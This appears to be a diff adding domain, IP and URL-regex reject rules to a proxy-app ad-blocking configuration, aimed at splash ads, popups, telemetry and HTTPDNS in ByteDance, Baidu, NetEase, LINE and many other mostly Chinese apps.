+AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-be-pack.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,s),(DOMAIN-KEYWORD,-fe-scm.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-ttcdn-tos.pstatp.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-static.i18n-pglstatp.com)),REJECT +AND,((DOMAIN-KEYWORD,if),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,ads),(DOMAIN-KEYWORD,normal),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-access-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-log-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-dual-event-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,pangolin),(DOMAIN-SUFFIX,sgsnssdk.com)),REJECT +AND,((DOMAIN-KEYWORD,ads),(DOMAIN-KEYWORD,-normal-lq),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +URL-REGEX,"^http:\/\/p\d+-be-pack-sign\.pglstatp-toutiao\.com\/(ad-app-package|web\.business\.image)\/",REJECT +DOMAIN,mon.zijieapi.com,REJECT +DOMAIN,i.snssdk.com,REJECT +DOMAIN,is.snssdk.com,REJECT +DOMAIN,bds.snssdk.com,REJECT +DOMAIN,dm.bytedance.com,REJECT +DOMAIN,dm.pstatp.com,REJECT +DOMAIN,dm.toutiao.com,REJECT +DOMAIN,log.snssdk.com,REJECT +DOMAIN,s3a.pstatp.com,REJECT +DOMAIN,sdfp.snssdk.com,REJECT +DOMAIN,tosv.boe.byted.org,REJECT +DOMAIN,tosv.byted.org,REJECT +DOMAIN,extlog.snssdk.com,REJECT +DOMAIN,mssdk-bu.bytedance.com,REJECT +DOMAIN,toblog.ctobsnssdk.com,REJECT +DOMAIN,mssdk.volces.com,REJECT +DOMAIN,pangolin.snssdk.com,REJECT +DOMAIN,gromore.pangolin-sdk-toutiao.com,REJECT +DOMAIN-KEYWORD,-ad-sign.byteimg.com,REJECT +# DOMAIN-KEYWORD, api-access.pangolin-sdk-toutiao, REJECT // 被复写替代 +DOMAIN-KEYWORD,log-api.pangolin-sdk-toutiao,REJECT +DOMAIN-KEYWORD,-ad.byteoversea.com,REJECT +DOMAIN-KEYWORD,video-cn.snssdk.com,REJECT +DOMAIN-KEYWORD,asiad.byteactivity,REJECT +# 拦截HTTPDNS +DOMAIN,httpdns.music.163.com,REJECT +DOMAIN,httpdns.n.netease.com,REJECT +DOMAIN,httpdns-sdk.n.netease.com,REJECT +DOMAIN,httpdns.yunxindns.com,REJECT +DOMAIN,lofter.httpdns.c.163.com,REJECT +DOMAIN,music.httpdns.c.163.com,REJECT +IP-CIDR,59.111.239.61/32,REJECT,no-resolve +IP-CIDR,59.111.239.62/32,REJECT,no-resolve +IP-CIDR,115.236.121.51/32,REJECT,no-resolve +IP-CIDR,115.236.121.195/32,REJECT,no-resolve +# > 网易云音乐 +DOMAIN,iadmusicmat.music.126.net,REJECT +DOMAIN,iadmat.nosdn.127.net,REJECT +DOMAIN,iadmatapk.nosdn.127.net,REJECT +DOMAIN,httpdns.n.netease.com,REJECT +DOMAIN,httpdns.music.163.com,REJECT +AND,((PROTOCOL,QUIC),(DOMAIN-SUFFIX,xiaohongshu.com)),REJECT +# > 云快充 微信小程序 +DOMAIN,et.ykccn.com,REJECT +# > 知乎 +DOMAIN,appcloud.zhihu.com,REJECT +DOMAIN,appcloud2.in.zhihu.com,REJECT +DOMAIN,crash2.zhihu.com,REJECT +DOMAIN,mqtt.zhihu.com,REJECT +DOMAIN,sugar.zhihu.com,REJECT +DOMAIN,zxid-m.mobileservice.cn,REJECT +IP-CIDR,103.41.167.237/32,REJECT,no-resolve +IP-CIDR,118.89.204.198/32,REJECT,no-resolve +IP-CIDR6,2402:4e00:1200:ed00:0:9089:6dac:96b6/128,REJECT,no-resolve + +[URL Rewrite] +#^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery reject +^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery\/adver$ - reject +# hostname = api.21jingji.com +^https?:\/\/api\.21jingji\.com\/ad\/ - reject +# hostname = gateway.36kr.com +^https?:\/\/gateway\.36kr\.com\/api\/adx\/ad\/show - reject +^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/advert - reject +^https?:\/\/app\.58\.com\/api\/home\/(advertising|appadv)\/ - reject +^https?:\/\/app\.58\.com\/api\/log\/ - reject +# hostname = evs.500.com +^https?:\/\/evs\.500\.com\/esinfo\/loading\/loading - reject +# hostname = appapi.51job*.com, cupid.51job*.com +^https?:\/\/appapi\.51job(app)?\.com\/api\/market\/(adtrace|get_launch|get_prompt) - reject +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/recommend-infos - reject +# hostname = aes.acfun.cn, api-new.app.acfun.cn +^https?:\/\/aes\.acfun\.cn\/s\?adzones - reject +^https?:\/\/api-new\.app\.acfun\.cn\/rest\/app\/flash\/screen\/ - reject +# hostname = sso.ifanr.com +^https?:\/\/sso\.ifanr\.com\/jiong\/IOS\/appso\/splash\/ - reject +# hostname = gw.aihuishou.com +^https?:\/\/gw\.aihuishou\.com\/app-portal\/home\/getadvertisement - reject +# hostname = list-app-m.i4.cn +^https?:\/\/list-app-m\.i4\.cn\/(adclickcb|getHotSearchList|getopfstadinfo)\.xhtml - reject +# hostname = api.bjxkhc.com +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ver/index_ios$ - reject +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ads\/ - reject +# hostname = icc.one +^https?:\/\/icc\.one\/iFreeTime\/xid32uxaoecnfv2\/ - reject +# hostname = interface.aomiapp.com +^https?:\/\/interface\.aomiapp\.com\/aomi-ads - reject +^https?:\/\/dss0\.bdstatic\.com\/.+/tam-ogel\/.+\.(jpg|mp4) - reject +^https?:\/\/tb1\.bdstatic\.com\/tb\/cms\/ngmis\/adsense\/*.jpg - reject +# hostname = r6.mo.baidu.com, res.mi.baidu.com, mime.baidu.com, mbd.baidu.com +^https?:\/\/r6\.mo\.baidu\.com\/res\/file/advertisement\/files\/.+\.jpg - reject +^https?:\/\/res\.mi\.baidu\.com\/imeres\/ime-res\/advertisement\/files\/.+\.jpg - reject +^https?:\/\/mime\.baidu\.com\/v5\/activity\/advertisementnonrealtime - reject +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads\/list - reject +^https?:\/\/mime\.baidu\.com\/v5\/hotpatch\/check\?hotpatch - reject +# hostname = pan.baidu.com, ndstatic.cdn.bcebos.com, staticsns.cdn.bcebos.com, issuecdn.baidupcs.com, update.pan.baidu.com, fc-video.cdn.bcebos.com, rp.hpplay.cn +^https?:\/\/pan\.baidu\.com\/rest\/\d\.\d\/pcs\/adx - reject +^https?:\/\/pan\.baidu\.com\/rest\/2\.0\/pcs\/ad - reject +^https?:\/\/pan\.baidu\.com\/act\/v\d\/(bchannel|welfare)\/list - reject +^https?:\/\/pan\.baidu\.com\/act\/api\/activityentry - reject +^https?:\/\/pan\.baidu\.com\/pmall\/order\/privilege\/info - reject +^https?:\/\/pan\.baidu\.com\/rest\/.+\/pcs\/adx - reject +^https?:\/\/pan\.baidu\.com\/api\/useractivity\/activity - reject +^https?:\/\/pan\.baidu\.com\/act\/.+\/bchannel\/list - reject +^https?:\/\/pan\.baidu\.com\/api\/certuser\/get - reject +^https?:\/\/pan\.baidu\.com\/component\/view\/(1510|1130)\?vip - reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/js\/.+\.js - reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/index\.html - reject +^https?:\/\/staticsns\.cdn\.bcebos\.com\/amis\/.+/banner.png - reject +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao - reject +^https?:\/\/update\.pan\.baidu\.com\/statistics - reject +^https?:\/\/fc-video\.cdn\.bcebos\.com - reject +^https?:\/\/rp\.hpplay\.cn\/logouts - reject +# hostname = mime.baidu.com +^https?:\/\/mime\.baidu\.com\/v\d\/IosStart\/getStartInfo - reject +^https?:\/\/mime\.baidu\.com\/v\d\/activity\/advertisement - reject +# hostname = www.baidu.com, fcvbjbcebos.baidu.com, cover.baidu.com, baichuan.baidu.com, api*.tuisong.baidu.com, afd.baidu.com, mobads.baidu.com, issuecdn.baidupcs.com, update.pan.baidu.com, sa*.tuisong.baidu.com, m.baidu.com, sofire.baidu.com +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+.mp4 - reject +^https?:\/\/cover\.baidu\.com\/cover\/page\/dspSwitchAds\/ - reject +^https?:\/\/baichuan\.baidu\.com\/rs\/adpmobile\/launch - reject +^https?:\/\/afd\.baidu\.com\/afd\/entry - reject +^https?:\/\/als\.baidu\.com\/clog\/clog - reject +^https?:\/\/mobads\.baidu\.com\/cpro\/ui\/mads.+ - reject +^https?:\/\/log.+?baidu\.com - reject +^https?:\/\/www.baidu.com\/?action=static&ms=1&version=css_page_2@0.*? - reject +# hostname = gateway.shouqiev.com +^https?:\/\/gateway\.shouqiev\.com\/fsda\/app\/bootImage\.json - reject +# hostname = apps.api.ke.com +^https?:\/\/apps\.api\.ke\.com\/config\/config\/(bootpage|getactivityconfig) - reject +# hostname = channel.beitaichufang.com +^https?:\/\/channel\.beitaichufang\.com\/channel\/api\/v\d\/promote\/ios\/start\/page - reject +# hostname = api.sfacg.com +^https?:\/\/api\.sfacg\.com\/ioscfg - reject +# hostname = pan-api.bitqiu.com +^https?:\/\/pan-api\.bitqiu\.com\/activity\/getPromoteGuide - reject +# hostname = iapi.bishijie.com +^https?:\/\/iapi\.bishijie\.com\/actopen\/advertising\/ - reject +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/apphome\/apphome - reject +# 开屏广告 【Runestoner】分享 +^https?:\/\/bp-api\.bestv\.com\.cn\/cms\/api\/free\/open\/advertisingV2 - reject +# hostname = js-ad.ayximgs.com +^https?:\/\/js-ad\.ayximgs\.com\.ad-universe-cdn\.hzhcbkj\.cn\/xgapp\.php\/v2\/top_notice - reject +# 感谢【Jörgen Frecht】分享 +^https?:\/\/app-gw\.csdn\.net\/silkroad-api\/api\/v\d\/assemble\/list\/pub\/channel\/app_open_screen_ad - reject +^https?:\/\/app-gw\.csdn\.net\/abtesting\/v2\/getList? - reject +^https?:\/\/gw\.csdn\.net\/cms-app\/v\d+\/home_page\/open_advertisement - reject +# 支付宝-菜鸟 +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads - reject +# hostname = learn.chaoxing.com +^https?:\/\/learn\.chaoxing\.com\/apis\/service\/appConfig\? - reject +^https?:\/\/cap\.caocaokeji\.cn\/advert-bss\/ - reject +# hostname = pic1.chelaile.net.cn, api.chelaile.net.cn, atrace.chelaile.net.cn, web.chelaile.net.cn, cdn.*.chelaileapp.cn +^https?:\/\/pic1\.chelaile\.net\.cn\/adv\/ - reject +^https?:\/\/(api|atrace)\.chelaile\.net\.cn\/adpub\/ - reject +^https?:\/\/api\.chelaile\.net\.cn\/goocity\/advert\/ - reject +^https?:\/\/web\.chelaile\.net\.cn\/api\/adpub\/ad - reject +^https?:\/\/cdn\.\w{3}\.chelaileapp\.cn\/(api\/)?adpub - reject +http:\/\/ad\.myfriday\.cn\/d\/json\/1\.1 - reject +# hostname = api3.cls.cn +^https?:\/\/api3\.cls\.cn\/v1\/boot\/ad - reject +# hostname = api.caijingmobile.com +^https?:\/\/api\.caijingmobile\.com\/(ad|advert)\/ - reject +# hostname = app.hbooker.com +^https?:\/\/app\.hbooker\.com\/setting\/get_startpage_url_list - reject +^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch\?appkey=23782110 - reject +# hostname = ssp.dzh.com.cn +^https?://ssp\.dzh\.com\.cn/v2api/adgroupjson - reject +^https?:\/\/img\d\.doubanio\.com\/view\/dale-online\/dale_ad\/ - reject +^https?:\/\/frodo\.douban\.com\/api\/v2\/movie\/banner - reject +^https?:\/\/erebor\.douban\.com\/count\/\?ad= - reject +# hostname = daoyu.sdo.com, rtbapi.douyucdn.cn, staticlive.douyucdn.cn, capi.douyucdn.cn, douyucdn.cn +^https?:\/\/daoyu\.sdo\.com\/api\/userCommon\/getAppStartAd - reject +^https?:\/\/staticlive\.douyucdn\.cn\/upload\/signs\/ - reject +^https?:\/\/staticlive\.douyucdn\.cn\/.+\/getStartSend - reject +^https?:\/\/capi\.douyucdn\.cn\/lapi\/sign\/app(api)?\/getinfo\?client_sys=ios - reject +^https?:\/\/douyucdn\.cn\/.+\/appapi\/getinfo - reject +# hostname = e.dangdang.com, api.dangdang.com, mapi.dangdang.com +^https?:\/\/e\.dangdang\.com\/media\/api.+\?action=getDeviceStartPage - reject +^https?:\/\/e\.dangdang\.com\/.+?getDeviceStartPage - reject +^https?:\/\/api\.dangdang\.com\/mapi\d\/mobile\/init - reject +^https?:\/\/mapi\.dangdang\.com\/index\.php\?action=init - reject +# 开屏广告 +^https?:\/\/maicai\.api\.ddxq\.mobi\/advert\/ - reject +# 首页弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/getHomeAdPop - reject +# 我的页VIP栏净化 +^https?:\/\/gw\.api\.ddxq\.mobi\/vip-app-service\/vip\/my\/page\/advertising - reject +# hostname = emdcadvertise.eastmoney.com +^https?:\/\/emdcadvertise\.eastmoney\.com\/infoService\/v\d - reject +#^https?:\/\/ap\.dongqiudi\.com\/plat\/v reject +^https?:\/\/ap\.dongdianqiu\.com\/plat\/v4 - reject +# hostname = dxy.com +^https?:\/\/dxy\.com\/app\/i\/ask\/biz\/feed\/launch - reject +# hostname = dq.dxy.cn +^https?:\/\/dq\.dxy\.cn\/api\.php\?action=getpostbanners - reject +# 小程序净化 +^https?:\/\/capis(-\d)?\.didapinche\.com\/adbase - reject +^https?:\/\/capis(-\d)?\.didapinche\.com\/ad\/ - reject +# 开屏广告 【Runestoner】分享 +^https?:\/\/app\.dewu\.com\/api\/v1\/app\/advertisement - reject +# hostname = api.gaoqingdianshi.com, cdn.dianshihome.com +^https?:\/\/api\.gaoqingdianshi\.com\/api\/v\d\/ad\/ - reject +^https?:\/\/cdn\.dianshihome\.com\/static\/ad\/ - reject +# hostname = *.pglstatp-toutiao.com, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, apphw.ddpai.com +^https?:\/\/.*\.pglstatp-toutiao\.com\/.*ad.* - reject +^https?:\/\/api\.htp\.ad-scope\.com\.cn.* - reject +^https?:\/\/appgw\.ddpai\.com.*\/ad\/list.* - reject +^https?:\/\/init\.sms\.mob\.com\/.*sdk\/init.* - reject +# 开屏广告 +^https?:\/\/elemecdn\.com\/.+\/sitemap - reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/640\/h\/\d{3,4} - reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/750\/h\/\d{3,4} - reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_1\d{3},h_2\d{3}\/format,webp\/ - reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_6\d{2},h_8\d{2}\/format,webp\/ - reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{3},h_\d{4}\/format,webp\/ - reject +^https?:\/\/cube\.elemecdn\.com\/\w\/\w{2}\/\w+mp4\.mp4\? - reject +^https?:\/\/www1\.elecfans\.com\/www\/delivery\/ - reject +^https?:\/\/(nr-op|cube)\.elemecdn\.com\/.+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{4,},h_\d{4,}\/($|format,webp\/$) - reject +^https?:\/\/gw\.alicdn\.com\/mt\/ - reject +^https?:\/\/gw\.alicdn\.com\/imgextra\/\w{2}\/[\w!]+-\d-tps-\d{3}-\d{4}\.(jpg|png)$ - reject +# hostname = app.variflight.com +^https?:\/\/app\.variflight\.com\/ad\/ - reject +^https?:\/\/app\.variflight\.com\/v\d\/advert\/ - reject +^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=advis - reject +# 去章末广告 +^https?:\/\/.+\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/(get_ads|stats|settings)\/ - reject +^https?:\/\/.+\.pglstatp-toutiao\.com\/.+\/toutiao\.mp4 - reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/(ad-app-package|ad)\/.+ - reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/web\.business\.image\/.+ - reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/obj\/ad-pattern\/renderer - reject +^https?:\/\/gurd\.snssdk\.com\/src\/server\/v3\/package - reject +^https?:\/\/.+\.byteimg.com/tos-cn-i-1yzifmftcy\/(.+)-jpeg\.jpeg - reject +^https?:\/\/.+\.pstatp\.com\/obj\/mosaic-legacy\/.+\?from\=ad - reject +^https?:\/\/.+\.pstatp\.com\/bytecom\/resource\/track_log\/src\/.+ - reject +^https?:\/\/.+\.snssdk\.com\/video\/play\/1\/toutiao\/.+\/mp4 - reject +^https?:\/\/.+\.snssdk.com\/api\/ad\/.+ - reject +^https?:\/\/.+\.byteimg\.com\/ad-app-package - reject +^https?:\/\/.+\.byteimg\.com\/web\.business\.image - reject +# hostname = gateway-api.dushu365.com +^https?:\/\/gateway-api\.dushu365\.com\/chief-orch\/config\/config\/v100\/appConfig - reject +# hostname = external.fcbox.com, dsp.fcbox.com, consumer.fcbox.com +^https:\/\/dsp\.fcbox\.com\/adSearch\/get\? - reject +^https:\/\/external\.fcbox\.com\/wxgw\/post\/suggestion\/query - reject +# 已无法MITM +^https?:\/\/consumer\.fcbox\.com\/v\d\/ad\/ - reject +# hostname = dsa-mfp.fengshows.cn, api.fengshows.com +^https?:\/\/dsa-mfp\.fengshows\.cn\/mfp\/mfpMultipleDelivery\.do\?.+?adunitid - reject +^https?:\/\/api\d\.futunn\.com\/ad\/ - reject +^https?:\/\/api\.futunn\.com\/v\d\/ad\/ - reject +# 首页右下角角标 +^https?:\/\/api\.futunn\.com\/treasure-chest\/box-data - reject +# 开屏广告 +^https?:\/\/fuwu\.nhsa\.gov\.cn\/ebus\/fuwu\/api\/base\/cms\/iep\/web\/cms\/hmpgcfg\/queryAppHmpgCfgByApp - reject +^https?:\/\/m5\.amap\.com\/ws\/valueadded\/ - reject +^https?:\/\/app\.wy\.guahao\.com\/json\/white\/dayquestion\/getpopad - reject +# hostname = prom.mobile.gome.com.cn +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/\w+\.jsp - reject +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/sale\w+\.jsp - reject +# hostname = zone.guiderank-app.com +^https?:\/\/zone\.guiderank-app\.com\/guiderank-web\/app\/ad\/listLaunchADByCity\.do - reject +# 开屏广告 +^https?:\/\/guanyu\.longfor\.com\/app-server\/api\/v1\/main\/start - reject +# hostname = aag.enmonster.com +^https?:\/\/aag\.enmonster\.com\/apa\/index\/advert\/skin - reject +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg - reject +^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ - reject +^https?:\/\/[a-z]*\.rsscc\.com\/[a-z]*\/adver - reject +^https?:\/\/api\.wallstreetcn\.com\/apiv\d\/advertising\/ - reject +# hostname = cdn.wup.huya.com, business.msstatic.com, cdnfile1.msstatic.com, live-ads.huya.com +^https?:\/\/cdn\.wup\.huya\.com\/launch\/queryHttpDns$ - reject +^https?:\/\/business\.msstatic\.com\/advertiser\/material - reject +# 开屏广告 +^https?:\/\/appapi\.huazhu\.com:\d+\/client\/app\/getAppStartPage\/ - reject +# hostname = gfp.veta.naver.com, api.hanju.koudaibaobao.com +^https?:\/\/gfp\.veta\.naver\.com\/adcall\? - reject +^https?:\/\/api\.hanju\.koudaibaobao\.com\/api\/carp\/kp\? - reject +# hostname = notch.qdaily.com, app3.qdaily.com +^https?:\/\/notch\.qdaily\.com\/api\/v\d\/boot_ad - reject +^https?:\/\/app3\.qdaily\.com\/app3\/boot_advertisements\.json - reject +# hostname = api.haohaozhu.cn +^https?:\/\/api\.haohaozhu\.cn\/index\.php\/home\/AppInit\/getStartPhoto - reject +# hostname = api.huomao.com +^https?:\/\/api\.huomao\.com\/channels\/loginAd - reject +# hostname = cmsapi.wifi8.com, cmsfile.wifi8.com +^https?:\/\/cmsapi\.wifi8\.com\/v\d\/(emptyAd|adNew)\/ - reject +# hostname = games.mobileapi.hupu.com, du.hupucdn.com, i*.hoopchina.com.cn, goblin.hupu.com +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(interfaceAdMonitor|interfaceAd)\/ - reject +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/status\/init - reject +^https?:\/\/games\.mobileapi\.hupu\.com\/\d\/(?:\d\.){2}\d\/status\/init - reject +^https?:\/\/goblin\.hupu\.com\/.+\/interfaceAd\/getOther - reject +^https?:\/\/smkmp\.96225\.com\/smkcenter\/ad/ - reject +# hostname = m.ibuscloud.com +^https?:\/\/m\.ibuscloud\.com\/v\d\/app\/getStartPage - reject +# hostname = fbchina.flipchina.cn +^https?:\/\/fbchina\.flipchina\.cn\/v\d\/ad\/query - reject +# hostname = api-ad-product.huxiu.com +^https?:\/\/api-ad-product\.huxiu\.com\/Api\/Product\/SDK\/Advert\/Query\/queryAdvertListInfo - reject +# hostname = api4.bybutter.com +^https?:\/\/api4\.bybutter\.com\/v\d\/app\/placements\/\d\/advertisements - reject +# hostname = home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com +^http?:\/\/(discardrp|startup)\.umetrip\.com\/gateway\/api\/umetrip\/native - reject +# hostname = acs.m.taobao.com, acs-m.freshippo.com +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.hippotown\.tabbar\.info - reject +# hostname = *.townmalls.cn +^https?:\/\/.*\.townmalls\.cn:1890\/mossapi\/mossp\.BannerManager\/activityList.* - reject +# hostname = open.fitdays.cn +^https?:\/\/open\.fitdays\.cn\/uploads\/ad\/ - reject +# 开屏广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/1 https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/hengdian.json 302 +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.wamai\.store\.detail\.miniapp\.popup - reject +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopcouponpopupservice\.getshopcouponspopup - reject +# hostname = dict-mobile.iciba.com, mobile-pic.cache.iciba.com, service.iciba.com, *.kingsoft-office-service.com +^https?:\/\/dict-mobile\.iciba\.com\/interface\/index\.php\?.+(c=ad|collectFeedsAdShowCount|KSFeedsAdCardViewController) - reject +^https?:\/\/mobile-pic\.cache\.iciba\.com\/feeds_ad\/ - reject +^https?:\/\/.+?\.kingsoft-office-service\.com - reject +# 禁京东直播小窗 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=getWidgetV1052 - reject +^https?:\/\/ms\.jr\.jd\.com\/gw\/generic\/aladdin\/(new)?na\/m\/getLoadingPicture - reject +^https?:\/\/appconf\.mail\.163\.com\/mmad\/ - reject +^https?:\/\/support\.you\.163\.com\/xhr\/boot\/getBootMedia\.json - reject +# hostname = img.jiemian.com +^https?:\/\/img\.jiemian\.com\/ads\/ - reject +# 开屏广告 感谢【jinlvei】分享 +^https?:\/\/richmanrules\.ksedt\.com\/intellectWaterfall(Bidding)?\/find - reject +^https?:\/\/api\.jxedt\.com\/ad\/ - reject +# hostname = *.kakamobi.cn, smart.789.image.mucang.cn +^https?:\/\/\w+\.kakamobi\.cn\/api\/open\/v\d\/advert-sdk\/ - reject +# 开屏广告和应用内弹窗 +^https?:\/\/jad-api\.jin10\.com\/ad - reject +# 感谢【Jörgen Frecht】分享 +^https?:\/\/p\d\.pstatp.com\/origin - reject +^https?:\/\/pb\d\.pstatp.com\/origin - reject +# hostname = explorer.tratao.com +^https?:\/\/explorer\.tratao\.com\/api\/client\/v4\/xtransfer\/ad\/ - reject +# 屏蔽应用内弹窗 +^https?:\/\/api\.gotokeep\.com\/guide-webapp\/v\d\/popup\/getPopUp - reject +# 屏蔽部分启动弹窗 +^https?:\/\/api\.gotokeep\.com\/kprime\/v\d\/popups\/primeGuide - reject +# 屏蔽开屏广告请求 +^https?:\/\/kad\.gotokeep\.com\/op-engine-webapp\/v\d\/ad - reject +# 屏蔽青少年弹窗 +^https?:\/\/api.gotokeep.com/cauchy/growth/init - reject +# 屏蔽搜索栏自动填充词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/default\/keyword\/list - reject +# 屏蔽热词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotword\/list - reject +# 屏蔽hotCourse +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotCourse\/list - reject +# 屏蔽adwebapp +^https?:\/\/api\.gotokeep\.com\/op-engine-webapp\/v\d\/ad - reject +# 屏蔽广告预加载 +^https?:\/\/api\.gotokeep\.com\/ads\/v\d\/ads\/preload - reject +# 屏蔽adbox +^https?:\/\/api\.gotokeep\.com\/training\/box\/config - reject +# 屏蔽更新 +^https?:\/\/api\.gotokeep\.com\/anno\/v\d\/upgrade\/check - reject +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/index\/loading_ad - reject +^https?:\/\/open3\.vistastory\.com\/v\d\/api.*get_popup - reject +# hostname = api.vistopia.com.cn +^https?:\/\/api\.vistopia\.com\.cn\/api\/v\d\/home\/advertisement - reject +^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do - reject +^https:\/\/video-dsp\.pddpic\.com\/market-dsp-video\/ - reject +^https:\/\/t-dsp\.pinduoduo\.com\/dspcb\/i\/mrk_union - reject +^https:\/\/images\.pinduoduo\.com\/mrk\/ - reject +^https:\/\/images\.pinduoduo\.com\/marketing_api\/ - reject +^https?:\/\/res\.kfc\.com.\cn\/advertisement\/ - reject +https:\/\/a\.line\.me\/lass\/api\/v\d\/ads$ - reject +https:\/\/a\.line\.me\/oa\/v\d\/e$ - reject +https:\/\/a\.line\.me\/cs\/v\d\/oa$ - reject +https:\/\/gw\.line\.naver\.jp\/ext\/lgfp\/lad\/v1$ - reject +https:\/\/gw\.line\.naver\.jp\/lass\/api\/v1\/ads$ - reject +https:\/\/gw\.line\.naver\.jp\/tr\/event$ - reject +https:\/\/legy\.line-apps\.com\/ext\/lgfp\/lad\/v1$ - reject +https:\/\/legy\.line-apps\.com\/ext\/smartch\/banner\/sch\/v1$ - reject +https:\/\/legy\.line-apps\.com\/tr\/event$ - reject +https:\/\/w\.line\.me\/adp\/api\/ad\/v\d\/ - reject +https:\/\/buy\.line\.me\/api\/graphql\?variables - reject +https:\/\/crs-event\.line\.me\/v\d\/imp - reject +https:\/\/obs\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ - reject +https:\/\/obs\.line-scdn\.net\/0hGH\d - reject +https:\/\/obs\.line-scdn\.net\/0h.+\/\d+p\.mp4$ - reject +https:\/\/cix\.line-apps\.com\/R4\? - reject +https:\/\/scdn\.line-apps\.com\/appresources\/moretab\/list\.json - reject +https:\/\/scdn\.line-apps\.com\/lan\/image\/line\/bannerImageEvent\/ - reject +https:\/\/scdn\.line-apps\.com\/lan\/document\/pageEvent\/line\/ios\/ - reject +https:\/\/sch\.line\.me\/api\/v\d\/ads$ - reject +https:\/\/uts-front\.line-apps\.com\/event$ - reject +https:\/\/uts-front\.line-apps\.com\/settings$ - reject +https:\/\/static\.line-scdn\.net\/ad-sdk\/ - reject +https:\/\/nelo2-col\.linecorp\.com\/_store$ - reject +^https?:\/\/.*\/yyting\/advertclient\/ClientAdvertList.action - reject +# hostname = ios.lantouzi.com +^https?:\/\/ios\.lantouzi\.com\/api\/startpage - reject +# hostname = api.laifeng.com, api.jxedt.com +^https?:\/\/api\.laifeng\.com\/v\d\/start\/ads - reject +# hostname = mobile.laichon.com, shop.laichon.com +^https?:\/\/(mobile|shop)\.laichon\.com\/api\/(v1\/goods\/goodsList|exposureAdvStatistics|getWebAdvList) - reject +# 首页弹窗广告 OCc分享 +^https?:\/\/tk\.lanjiyin\.com\.cn\/ad\/getAdList - reject +# hostname = dl-cu-hz.lechange.cn +^https:\/\/dl-cu-hz\.lechange\.cn\/oms-online\/advertisementPush - reject +# hostname = api.club.lenovo.cn +^https?:\/\/api\.club\.lenovo\.cn\/common\/open_ad - reject +# hostname = tagit.hyhuo.com +^https?:\/\/tagit\.hyhuo\.com\/recover\/list - reject +# hostname = api.internetofcity.cn +^https?:\/\/api\.internetofcity\.cn\/api\/resource\/anon\/popups\/(getSplashList|getList) - reject +# host-suffix, admobile.top, reject 